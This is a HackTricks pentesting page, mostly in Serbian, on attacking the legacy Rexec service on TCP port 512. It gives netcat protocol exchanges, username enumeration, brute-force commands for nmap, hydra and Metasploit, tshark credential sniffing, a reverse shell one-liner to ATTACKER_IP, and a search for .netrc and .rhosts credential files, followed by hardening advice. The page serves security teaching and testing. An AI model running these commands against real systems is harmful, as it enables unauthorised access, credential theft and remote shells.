512 - Pentesting Rexec
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
Rexec (remote exec) je jedan od originalnih Berkeley r-services paketa (zajedno sa rlogin, rsh, …). Pruža mogućnost daljinskog izvršavanja komandi (remote command-execution) koja se autentifikuje samo pomoću clear-text korisničkog imena i lozinke. Protokol je definisan početkom 1980-ih (vidi RFC 1060) i danas se smatra nesigurnim po dizajnu. Ipak, i dalje je podrazumevano omogućen na nekim legacy UNIX / network-attached uređajima i povremeno se pojavljuje tokom internal pentests.
Podrazumevani port: TCP 512 (exec)
PORT STATE SERVICE
512/tcp open exec
🔥 All traffic – including credentials – is transmitted nešifrovano. Bilo ko sa mogućnošću da sniff the network može da povrati username, password i command.
Brzi pregled protokola
- Klijent se povezuje na TCP 512.
- Klijent šalje tri NUL-terminisane stringa:
- broj porta (kao ASCII) na kojem želi da prima stdout/stderr (češće
0), - the username,
- the password.
- Šalje se konačni NUL-terminisani string sa command koji treba izvršiti.
- Server odgovara jednim 8-bitnim status bajtom (0 = uspeh,
1= neuspeh) praćenim izlazom komande.
Ako je prvo polje nenulti, server otvara drugu TCP konekciju nazad ka klijentu i koristi je za stderr. Ovo je korisno i za manual testing i za fingerprinting filtering / firewall issues u vezi sa servisom.
To znači da možete reprodukovati razmenu koristeći samo echo -e i nc:
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512
Ako su credentials validni, dobićete izlaz komande id direktno nazad na istoj konekciji.
Ako želite da primate stderr na posvećenom listeneru, zatražite od servera da se poveže nazad ka vama:
nc -lvnp 4444
printf '4444\0user\0password\0id; uname -a\0' | nc <target> 512
Mnoge uobičajene implementacije (na primer GNU rexecd) i dalje nameću 16-byte username/password fields i vraćaju različite dijagnostičke stringove za nevažeće username naspram nevažećih password. To je važno tokom enumeration jer neki ciljevi leak da li nalog postoji pre nego što počnete sa brute forcing-om.
Ručna upotreba klijenta
Mnoge Linux distribucije i dalje u paketu inetutils-rexec / rsh-client sadrže nasleđeni klijent:
rexec -l user -p password <target> "uname -a"
Ako se -p izostavi, klijent će interaktivno tražiti lozinku (visible on the wire in clear-text!).
Da biste izbegli ostavljanje lozinke u shell history / process list, GNU rexec takođe podržava čitanje iz stdin:
printf '%s\n' 'password' | rexec -l user -p - <target> "id"
Ovo nije sigurnije na mreži; samo smanjuje lokalnu izloženost na računaru napadača.
Enumeration & Brute-forcing
Brute-force
Nmap
nmap -sV -p 512 <target>
# Confirm the classic exec service before credential attacks
nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>
NSE rexec-brute koristi protokol opisan gore da vrlo brzo proba kredencijale.
Hydra / Medusa / Ncrack
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8
hydra ima posvećen rexec modul i ostaje najbrži offline bruteforcer. medusa (-M REXEC) i ncrack (rexec module) mogu se koristiti na isti način.
Enumeracija korisničkih imena putem poruka servera
Neke implementacije rexecd vraćaju različite greške, npr. Login incorrect. nasuprot Password incorrect.. Ako primetite ovo ponašanje, prvo verifikujte korisnička imena, a tek potom brute force lozinki:
printf '0\0root\0wrongpass\0id\0' | nc -w 2 <target> 512 | tail -c +2
printf '0\0definitelynotreal\0wrongpass\0id\0' | nc -w 2 <target> 512 | tail -c +2
Ako se poruke razlikuju, kreirajte listu validnih korisnika pre slanja velikog password spray-a.
Proverite sestrinske r-usluge
rexec koristi password authentication, za razliku od rsh / rlogin trusted-host logike, ali u praksi često dolaze iz istog legacy paketa (openbsd-inetd, inetutils, vendor UNIX bundles). Ako je TCP 512 otvoren, odmah proverite i TCP 513 i 514, jer zloupotreba .rhosts / /etc/hosts.equiv može omogućiti lakše lateralno kretanje:
nmap -sV -p 512,513,514 <target>
Pogledajte takođe:
Metasploit
use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
Modul će pri uspehu pokrenuti shell i sačuvati credentials u bazi podataka.
Sniffing credentials
Pošto je sve clear-text, mrežni snimci saobraćaja su neprocenjivi. Sa kopijom saobraćaja možete izdvojiti creds bez diranja targeta:
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}' # username:password -> command
(In Wireshark enable Decode As … TCP 512 → REXEC to view nicely-parsed fields.)
Saveti za post-eksploataciju
- Komande se izvršavaju sa privilegijama dostavljenog korisnika. Ako
/etc/pam.d/rexecnije pravilno konfigurisан (npr.pam_rootok), ponekad je moguće dobiti root shell. - Rexec ignoriše korisnikov shell i izvršava komandu preko
/bin/sh -c <cmd>. Zato možete koristiti tipične shell-escape trikove (;,$( ), backticks) da povežete više komandi ili pokrenete reverse shells:
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
- Lozinke se često čuvaju u
~/.netrcili u zastarelim automatizacionim skriptama na drugim sistemima; ako kompromitujete jedan host, možete ih ponovo iskoristiti za lateral movement:
find / -xdev \( -name .netrc -o -name netrc -o -iname '*rexec*' -o -path '*/.rhosts' \) 2>/dev/null
Ojačavanje / Detekcija
- Ne izlažite rexec; zamenite ga SSH. Skoro svi moderni inetd superserveri podrazumevano komentarišu ovu uslugu.
- Ako morate da ga zadržite, ograničite pristup pomoću TCP wrappers (
/etc/hosts.allow) ili firewall pravila i primenite jake lozinke po nalogu. - Pratite saobraćaj ka :512 i pokretanja procesa
rexecd. Jedan packet capture je dovoljan da otkrije kompromitaciju. - Onemogućite
rexec,rlogin,rshzajedno – dele većinu iste kodne baze i slabosti.
Reference
- GNU Inetutils
rexecd/rexecdocumentation – https://www.gnu.org/software/inetutils/manual/html_node/rexecd-invocation.html - Nmap NSE
rexec-brutedocumentation – https://nmap.org/nsedoc/scripts/rexec-brute.html
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


